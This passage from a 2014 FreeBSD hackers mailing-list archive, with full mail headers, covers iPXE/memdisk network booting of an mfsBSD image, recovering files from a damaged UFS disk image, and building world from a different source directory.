uG1vVmoJqWL/+BZXMrBzvCUPGyTWTntUb+/m+Uk+XdjZ8VPYbA93jlLjtl1nMr083fw9 6zQS7uWUU9p69d5Y3xQfWYqzSiZND9n0Ruat5XlMNtvv1FuG9sQ4puN05qX55d4SsMOg gdGq877enVzkrExalRFjwYhuZh4KwZJPnnHRbu+dm/zPUauN14IM91TXMmJN/BVCUSRS gIug== MIME-Version: 1.0 X-Received: by 10.180.183.131 with SMTP id em3mr5144511wic.56.1402668476565; Fri, 13 Jun 2014 07:07:56 -0700 (PDT) Received: by 10.194.60.140 with HTTP; Fri, 13 Jun 2014 07:07:56 -0700 (PDT) In-Reply-To: References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> <050E80C4-D845-4C59-B9CC-010E7CE9A445@cs.huji.ac.il> Date: Fri, 13 Jun 2014 16:07:56 +0200 Message-ID: Subject: Re: iPXE booting latest PCengines alu board From: Kamil Czekirda To: Jim Thompson Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 14:07:58 -0000 Please use iso raw option, it helps sometimes: iPXE> kernel tftp://nuc2/memdisk iPXE> kernel tftp://nuc2/memdisk iso iPXE> initrd tftp://nuc2/mfsbsd.iso iPXE> boot I suggest leave tftp protocol and download iso with http server. 2014-06-13 12:34 GMT+02:00 Jim Thompson : > >> On Jun 13, 2014, at 5:19 AM, Daniel Braniss wrote: >> >> >> On Jun 13, 2014, at 12:52 PM, Kamil Czekirda wrote= : >> >>> Please try mfsbsd based on current (r266655): >>> >>> http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/m= fsbsd-11.0-CURRENT-r266655-amd64.iso?view=3Dco >>> >>> example: >>> >>> iPXE> dhcp >>> iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk iso >>> iPXE> http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/t= ools/mfsbsd-11.0-CURRENT-r266655-amd64.iso?view=3Dco >> >> something missing in the line above >> > > yeah, and it=E2=80=99s not obvious. > > fetch-ed the kernel and iso to a local freebsd 10-CURRENT machine (nuc2) > > iPXE> kernel tftp://nuc2/memdisk > tftp://nuc2/memdisk... ok > iPXE> kernel tftp://nuc2/memdisk iso > tftp://nuc2/memdisk... ok > iPXE> initrd tftp://nuc2/mfsbsd.iso > tftp://nuc2/mfsbsd.iso... ok > iPXE> boot > MEMDISK 6.02 2013-10-13 Copyright 2001-2013 H. Peter Anvin et al > e820: 0000000000000000 000000000009fc00 1 > e820: 000000000009fc00 0000000000000400 2 > e820: 00000000000f0000 0000000000010000 2 > e820: 0000000000100000 000000007e010000 1 > e820: 000000007e110000 0000000000ef0000 2 > e820: 00000000f8000000 0000000001000000 2 > Ramdisk at 0x01b76000, length 0x0248a000 > command line: iso > El Torito BVD sanity check failed. > El Torito boot catalog sanity check failed. > MEMDISK: Image seems to have fractional end cylinder > MEMDISK: Image appears to be truncated > Disk is hd96, 9354 K, C/H/S =3D 65535/255/15 (El Torito/El Torito), EDD o= n, rw > Using safe INT 15h access to high memory > Code 1860, meminfo 168, cmdline 4, stack 512 > Total size needed =3D 2544 bytes, allocating 3K > Old dos memory at 0x9c400 (map says 0x9fc00), loading at 0x9b800 > 1588: 0x69d8 15E801: 0x3c00 0x00b7 > INT 13 08: Failure, assuming this is the only drive > Drive probing gives drive shift limit: 0xe1 > old: int13 =3D f000e3fe int15 =3D f000f859 int1e =3D f0007244 > new: int13 =3D 9b80000a int15 =3D 9b8003fd int1e =3D f0007244 > Loading boot sector... booting... > > From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 15:24:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 62BC7A83 for ; Fri, 13 Jun 2014 15:24:20 +0000 (UTC) Received: from smtp1.hushmail.com (smtp1a.hushmail.com [65.39.178.236]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "smtp.hushmail.com", Issuer "Self-signed" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 47E3626D8 for ; Fri, 13 Jun 2014 15:24:19 +0000 (UTC) Received: from smtp1.hushmail.com (smtp1a.hushmail.com [65.39.178.236]) by smtp1.hushmail.com (Postfix) with SMTP id 0951D40093 for ; Fri, 13 Jun 2014 14:52:47 +0000 (UTC) Received: from smtp.hushmail.com (w3.hushmail.com [65.39.178.62]) by smtp1.hushmail.com (Postfix) with ESMTP for ; Fri, 13 Jun 2014 14:52:46 +0000 (UTC) Received: by smtp.hushmail.com (Postfix, from userid 99) id DB840C00AA; Fri, 13 Jun 2014 14:52:46 +0000 (UTC) MIME-Version: 1.0 Date: Fri, 13 Jun 2014 07:52:46 -0700 To: freebsd-hackers@freebsd.org Subject: picking data out of a UFS image From: falcon17@hushmail.com Message-Id: <20140613145246.DB840C00AA@smtp.hushmail.com> Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 15:24:20 -0000 I had an old dying disk and I managed to make a dd image of half of it before it went completely bellyup. When I have done this in the past I have been able to use the sleuth kit ffind, fls, etc to dig around, or even vnconfig and mount the whole image. This time none of that is working, in fact it claims bad superblock altho I think I found an alternate that works. In any case I am able to find some textual data when I simply hexdump or strings the image, and some of that is what I was looking to recover. Is it reasonably easy to work backwards from that, say, using the location I found for the start of this file, to search backwards and hunt down its inode? Maybe work from there to pick out others? I guess what I am looking for is a little guidance on picking out UFS data structures manually. Thanks! From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 15:30:08 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 30DAAD65 for ; Fri, 13 Jun 2014 15:30:08 +0000 (UTC) Received: from smtp5.hushmail.com (smtp5a.hushmail.com [65.39.178.235]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "smtp.hushmail.com", Issuer "Self-signed" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 16B372755 for ; Fri, 13 Jun 2014 15:30:07 +0000 (UTC) Received: from smtp5.hushmail.com (smtp5a.hushmail.com [65.39.178.235]) by smtp5.hushmail.com (Postfix) with SMTP id BF89E60176 for ; Fri, 13 Jun 2014 14:54:47 +0000 (UTC) Received: from smtp.hushmail.com (w3.hushmail.com [65.39.178.62]) by smtp5.hushmail.com (Postfix) with ESMTP for ; Fri, 13 Jun 2014 14:54:47 +0000 (UTC) Received: by smtp.hushmail.com (Postfix, from userid 99) id A297FC00AA; Fri, 13 Jun 2014 14:54:47 +0000 (UTC) MIME-Version: 1.0 Date: Fri, 13 Jun 2014 07:54:47 -0700 To: freebsd-hackers@freebsd.org Subject: alternate src dir for world build From: falcon17@hushmail.com Message-Id: <20140613145447.A297FC00AA@smtp.hushmail.com> Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 15:30:08 -0000 Is there any reason other than convention to build from /usr/src? I wanted to have a /usr/src92, /usr/src/93, /usr/src/10 etc. Any problem expected? Should I symlink /usr/src to one of those or does that even matter? Thanks! From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 15:31:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3C588EF1 for ; Fri, 13 Jun 2014 15:31:09 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 1990E2770 for ; Fri, 13 Jun 2014 15:31:08 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s5DFV7S9038794 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Jun 2014 08:31:08 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s5DFV7et038793; Fri, 13 Jun 2014 08:31:07 -0700 (PDT) (envelope-from jmg) Date: Fri, 13 Jun 2014 08:31:07 -0700 From: John-Mark Gurney To: falcon17@hushmail.com Subject: Re: picking data out of a UFS image Message-ID: <20140613153107.GX31367@funkthat.com> Mail-Followup-To: falcon17@hushmail.com, freebsd-hackers@freebsd.org References: <20140613145246.DB840C00AA@smtp.hushmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140613145246.DB840C00AA@smtp.hushmail.com> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Fri, 13 Jun 2014 08:31:08 -0700 (PDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 15:31:09 -0000 falcon17@hushmail.com wrote this message on Fri, Jun 13, 2014 at 07:52 -0700: > I had an old dying disk and I managed to make a dd image of half of it > before it went completely bellyup. When I have done this in the past I > have been able to use the sleuth kit ffind, fls, etc to dig around, or > even vnconfig and mount the whole image. This time none of that is > working, in fact it claims bad superblock altho I think I found an > alternate that works. > In any case I am able to find some textual data when I simply hexdump > or strings the image, and some of that is what I was looking to > recover. Is it reasonably easy to work backwards from that, say, using > the location I found for the start of this file, to search backwards > and hunt down its inode? Maybe work from there to pick out others? > I guess what I am looking for is a little guidance on picking out UFS > data structures manually. Thanks! I developed a python script to extract data from a broken FFS... the sources are here: https://people.freebsd.org/~jmg/ffsrecov/ It's been a long time since I've looked at it, but should help you.. -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 15:49:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 33FAC603 for ; Fri, 13 Jun 2014 15:49:36 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 085022959 for ; Fri, 13 Jun 2014 15:49:35 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id 9347138078 for ; Fri, 13 Jun 2014 10:49:34 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id peTEjJU4MvpT for ; Fri, 13 Jun 2014 10:49:34 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id 534C038061 for ; Fri, 13 Jun 2014 10:49:34 -0500 (CDT) Message-ID: <539B1D8D.8020008@freebsd.org> Date: Fri, 13 Jun 2014 08:49:33 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: alternate src dir for world build References: <20140613145447.A297FC00AA@smtp.hushmail.com> In-Reply-To: <20140613145447.A297FC00AA@smtp.hushmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 15:49:36 -0000 On 06/13/14 07:54, falcon17@hushmail.com wrote: > Is there any reason other than convention to build from /usr/src? I > wanted to have a /usr/src92, /usr/src/93, /usr/src/10 etc. Any problem > expected? Should I symlink /usr/src to one of those or does that even > matter? > Thanks! > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > This works fine. Place the src directory wherever you like. No hacks required. -Nathan From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 16:17:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BFA07F8C for ; Fri, 13 Jun 2014 16:17:48 +0000 (UTC) Received: from dmz-mailsec-scanner-8.mit.edu (dmz-mailsec-scanner-8.mit.edu [18.7.68.37]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 61E202BF6 for ; Fri, 13 Jun 2014 16:17:48 +0000 (UTC) X-AuditID: 12074425-f79746d000000ecc-f7-539b242453d9 Received: from mailhub-auth-2.mit.edu ( [18.7.62.36]) (using TLS with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by dmz-mailsec-scanner-8.mit.edu (Symantec Messaging Gateway) with SMTP id 55.30.03788.5242B935; Fri, 13 Jun 2014 12:17:41 -0400 (EDT) Received: from outgoing.mit.edu (outgoing-auth-1.mit.edu [18.9.28.11]) by mailhub-auth-2.mit.edu (8.13.8/8.9.2) with ESMTP id s5DGHexb003854 for ; Fri, 13 Jun 2014 12:17:40 -0400 Received: from multics.mit.edu (system-low-sipb.mit.edu [18.187.2.37]) (authenticated bits=56) (User authenticated as kaduk@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.8/8.12.4) with ESMTP id s5DGHcTD030670 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Fri, 13 Jun 2014 12:17:40 -0400 Received: (from kaduk@localhost) by multics.mit.edu (8.12.9.20060308) id s5DGHc41011815; Fri, 13 Jun 2014 12:17:38 -0400 (EDT) Date: Fri, 13 Jun 2014 12:17:38 -0400 (EDT) From: Benjamin Kaduk To: freebsd-hackers@freebsd.org Subject: Re: alternate src dir for world build In-Reply-To: <539B1D8D.8020008@freebsd.org> Message-ID: References: <20140613145447.A297FC00AA@smtp.hushmail.com> <539B1D8D.8020008@freebsd.org> User-Agent: Alpine 1.10 (GSO 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFrrGIsWRmVeSWpSXmKPExsUixG6noquqMjvYoP8Pk8X2zf8YHRg9Znya zxLAGMVlk5Kak1mWWqRvl8CV8Xvpb9aC78wVr2YtZWpgnMjcxcjBISFgIjHxaXwXIyeQKSZx 4d56ti5GLg4hgdlMEt0bfkA5lxklWj/dZIRwnjBJfH3ymwnCaWCUuPt7LjtIP4uAtsTRfU9Z QWw2ARWJmW82soGsEBGQl1hw3h4kLCygJ/H89DuwEk6g8i13j4K18go4Ssxe3w8WFxKIkDj8 czIbiC0qoCOxev8UFogaQYmTM5+A2cwClhLn/lxnm8AoMAtJahaS1AJGplWMsim5Vbq5iZk5 xanJusXJiXl5qUW6Fnq5mSV6qSmlmxjBweeiuoNxwiGlQ4wCHIxKPLwrZGcHC7EmlhVX5h5i lORgUhLlvcoGFOJLyk+pzEgszogvKs1JLT7EKMHBrCTCyysDlONNSaysSi3Kh0lJc7AoifO+ tbYKFhJITyxJzU5NLUgtgsnKcHAoSfDKKwM1ChalpqdWpGXmlCCkmTg4QYbzAA2PAKnhLS5I zC3OTIfIn2JUlBLnVVYCSgiAJDJK8+B6YcnhFaM40CvCvGYg7TzAxALX/QpoMBPQ4JuLZ4EM LklESEk1MCok8/B7/931qkvkn8Shbs0pp8//bVqYP/3LlSbjyMu3T9hNjJsY0mifleoV8JZV S1rR7YjPkhvc9896Cvrs1TiqGPfRN3Qb44ZL8Zu/m4Xv7j/2VEM/roovbFeYq/isze+dS99P V2hnrfoR1vnyMIOa7OIXh8/Krlwl++ricvXOv9cnyHzM2qnEUpyRaKjFXFScCAAbzj8L6QIA AA== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 16:17:48 -0000 On Fri, 13 Jun 2014, Nathan Whitehorn wrote: > On 06/13/14 07:54, falcon17@hushmail.com wrote: >> Is there any reason other than convention to build from /usr/src? I >> wanted to have a /usr/src92, /usr/src/93, /usr/src/10 etc. Any problem >> expected? Should I symlink /usr/src to one of those or does that even >> matter? > > This works fine. Place the src directory wherever you like. No hacks > required. Be sure to use the -m argument to mergemaster when doing this, though. -Ben From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 17:43:30 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 200133D5 for ; Fri, 13 Jun 2014 17:43:30 +0000 (UTC) Received: from mail-ob0-f174.google.com (mail-ob0-f174.google.com [209.85.214.174]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D28B1248A for ; Fri, 13 Jun 2014 17:43:29 +0000 (UTC) Received: by mail-ob0-f174.google.com with SMTP id va2so3152983obc.19 for ; Fri, 13 Jun 2014 10:43:22 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=C2vYMbHX0VmZvepXbW3iYAPNzy/8/W4afxwruaL0m4U=; b=CUqRbXrqwPsviS6a+h9Wnt5hKwWzX3A8w5ZSWwloYTaWTjCpu6MOgxOy7AaXJqdVDW nRfLujhZd6GeLdQQBLoKDlKs2w4vV+9uXIwSkrdF7IVW8r10QkxP6dLBy2F5hKBTE47T Wg0kqacKWpEhowYTKO/xhwKQW7jy8GRIcJZDmWemEnF2Yoi+fke5ZoFNCIGtOh6mdaWL fHRyYWyfee3Wttpo5yPOBFi3A5adof082nVswRf7E/NTnUEicyggQMBGYTDcO09g1s1Q NTjTsd4Ic2O2uMJ3ifXRaU9J/bbRorvRX+ABCjEUyVR/gWaYxYcb3jUvU6rP425by3Er q/OQ== X-Gm-Message-State: ALoCoQnDBOauZpH9QEf/obAk8OlNVZnD0miCcZtrOLtmqr30o6qOfFi8Ve5fN40Dgp/S54Jb/9DS X-Received: by 10.60.155.33 with SMTP id vt1mr4288062oeb.3.1402681402115; Fri, 13 Jun 2014 10:43:22 -0700 (PDT) Received: from [172.21.0.93] (65-111-100-227.static.grandenetworks.net. [65.111.100.227]) by mx.google.com with ESMTPSA id to6sm9321040obb.6.2014.06.13.10.43.16 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 13 Jun 2014 10:43:17 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 8.0 \(1955.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Jim Thompson In-Reply-To: Date: Fri, 13 Jun 2014 12:43:15 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> <050E80C4-D845-4C59-B9CC-010E7CE9A445@cs.huji.ac.il> To: Kamil Czekirda X-Mailer: Apple Mail (2.1955.2) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 17:43:30 -0000 iPXE> ifconf=20 Configuring (net0 00:0d:b9:33:88:64)...... ok iPXE> route net0: 172.21.0.90/255.255.255.0 gw 172.21.0.1 iPXE> kernel http://nuc2/memdisk http://nuc2/memdisk... ok iPXE> kernel http://nuc2/memdisk iso http://nuc2/memdisk... ok iPXE> initrd http://nuc2/mfsbsd.iso http://nuc2/mfsbsd.iso... ok=20 iPXE> boot MEMDISK 6.02 2013-10-13 Copyright 2001-2013 H. Peter Anvin et al e820: 0000000000000000 000000000009fc00 1 e820: 000000000009fc00 0000000000000400 2 e820: 00000000000f0000 0000000000010000 2 e820: 0000000000100000 000000007e010000 1 e820: 000000007e110000 0000000000ef0000 2 e820: 00000000f8000000 0000000001000000 2 Ramdisk at 0x01b7d000, length 0x02483000 command line: iso El Torito BVD sanity check failed. El Torito boot catalog sanity check failed. MEMDISK: Image seems to have fractional end cylinder MEMDISK: Image appears to be truncated Disk is hd96, 9347 K, C/H/S =3D 65535/255/15 (El Torito/El Torito), EDD = on, rw Using safe INT 15h access to high memory Code 1860, meminfo 168, cmdline 4, stack 512 Total size needed =3D 2544 bytes, allocating 3K Old dos memory at 0x9c400 (map says 0x9fc00), loading at 0x9b800 1588: 0x69f4 15E801: 0x3c00 0x00b7 INT 13 08: Failure, assuming this is the only drive Drive probing gives drive shift limit: 0xe1 old: int13 =3D f000e3fe int15 =3D f000f859 int1e =3D f0007244 new: int13 =3D 9b80000a int15 =3D 9b8003fd int1e =3D f0007244 Loading boot sector... booting=E2=80=A6 (no output) adding -h gets things a bit further. I still think we=E2=80=99re = fighting a serial console issue. Maybe mfsbsd need rebuilding. (?) iPXE> dhcp =20 Configuring (net0 00:0d:b9:33:88:64)...... ok iPXE> route net0: 172.21.0.90/255.255.255.0 gw 172.21.0.1 iPXE> kernel http://nuc2/memdisk iso -h http://nuc2/memdisk... ok iPXE> initrd http://nuc2/mfsbsd.iso http://nuc2/mfsbsd.iso... ok=20 iPXE> boot MEMDISK 6.02 2013-10-13 Copyright 2001-2013 H. Peter Anvin et al e820: 0000000000000000 000000000009fc00 1 e820: 000000000009fc00 0000000000000400 2 e820: 00000000000f0000 0000000000010000 2 e820: 0000000000100000 000000007e010000 1 e820: 000000007e110000 0000000000ef0000 2 e820: 00000000f8000000 0000000001000000 2 Ramdisk at 0x01b84000, length 0x0247c000 command line: iso -h MEMDISK: Image seems to have fractional end cylinder MEMDISK: Image appears to be truncated Disk is hd96, 9340 K, C/H/S =3D 65535/255/15 (El Torito/El Torito), EDD = on, rw Using safe INT 15h access to high memory Code 1860, meminfo 168, cmdline 7, stack 512 Total size needed =3D 2547 bytes, allocating 3K Old dos memory at 0x9c400 (map says 0x9fc00), loading at 0x9b800 1588: 0x6a10 15E801: 0x3c00 0x00b8 INT 13 08: Failure, assuming this is the only drive Drive probing gives drive shift limit: 0xe1 old: int13 =3D f000e3fe int15 =3D f000f859 int1e =3D f0007244 new: int13 =3D 9b80000a int15 =3D 9b8003fd int1e =3D f0007244 Loading boot sector... booting... CD Loader 1.2 Building the boot loader arguments Looking up /BOOT/LOADER... Found Relocating the loader and the BTX Starting the BTX loader (no output) > On Jun 13, 2014, at 9:07 AM, Kamil Czekirda = wrote: >=20 > Please use iso raw option, it helps sometimes: >=20 > iPXE> kernel tftp://nuc2/memdisk > iPXE> kernel tftp://nuc2/memdisk iso > iPXE> initrd tftp://nuc2/mfsbsd.iso > iPXE> boot >=20 > I suggest leave tftp protocol and download iso with http server. >=20 > 2014-06-13 12:34 GMT+02:00 Jim Thompson : >>=20 >>> On Jun 13, 2014, at 5:19 AM, Daniel Braniss = wrote: >>>=20 >>>=20 >>> On Jun 13, 2014, at 12:52 PM, Kamil Czekirda = wrote: >>>=20 >>>> Please try mfsbsd based on current (r266655): >>>>=20 >>>> = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco >>>>=20 >>>> example: >>>>=20 >>>> iPXE> dhcp >>>> iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk iso >>>> iPXE> = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco >>>=20 >>> something missing in the line above >>>=20 >>=20 >> yeah, and it=E2=80=99s not obvious. >>=20 >> fetch-ed the kernel and iso to a local freebsd 10-CURRENT machine = (nuc2) >>=20 >> iPXE> kernel tftp://nuc2/memdisk >> tftp://nuc2/memdisk... ok >> iPXE> kernel tftp://nuc2/memdisk iso >> tftp://nuc2/memdisk... ok >> iPXE> initrd tftp://nuc2/mfsbsd.iso >> tftp://nuc2/mfsbsd.iso... ok >> iPXE> boot >> MEMDISK 6.02 2013-10-13 Copyright 2001-2013 H. Peter Anvin et al >> e820: 0000000000000000 000000000009fc00 1 >> e820: 000000000009fc00 0000000000000400 2 >> e820: 00000000000f0000 0000000000010000 2 >> e820: 0000000000100000 000000007e010000 1 >> e820: 000000007e110000 0000000000ef0000 2 >> e820: 00000000f8000000 0000000001000000 2 >> Ramdisk at 0x01b76000, length 0x0248a000 >> command line: iso >> El Torito BVD sanity check failed. >> El Torito boot catalog sanity check failed. >> MEMDISK: Image seems to have fractional end cylinder >> MEMDISK: Image appears to be truncated >> Disk is hd96, 9354 K, C/H/S =3D 65535/255/15 (El Torito/El Torito), = EDD on, rw >> Using safe INT 15h access to high memory >> Code 1860, meminfo 168, cmdline 4, stack 512 >> Total size needed =3D 2544 bytes, allocating 3K >> Old dos memory at 0x9c400 (map says 0x9fc00), loading at 0x9b800 >> 1588: 0x69d8 15E801: 0x3c00 0x00b7 >> INT 13 08: Failure, assuming this is the only drive >> Drive probing gives drive shift limit: 0xe1 >> old: int13 =3D f000e3fe int15 =3D f000f859 int1e =3D f0007244 >> new: int13 =3D 9b80000a int15 =3D 9b8003fd int1e =3D f0007244 >> Loading boot sector... booting... >>=20 >>=20 From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 18:30:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B4297B63 for ; Fri, 13 Jun 2014 18:30:14 +0000 (UTC) Received: from tinker.exit.com (tinker.exit.com [IPv6:2001:470:f0fd:0:2e0:81ff:fe2b:acbc]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6811E2881 for ; Fri, 13 Jun 2014 18:30:14 +0000 (UTC) Received: from jill.exit.com (jill.exit.com [IPv6:2001:470:f0fd:0:2e0:81ff:febc:fdcc]) by tinker.exit.com 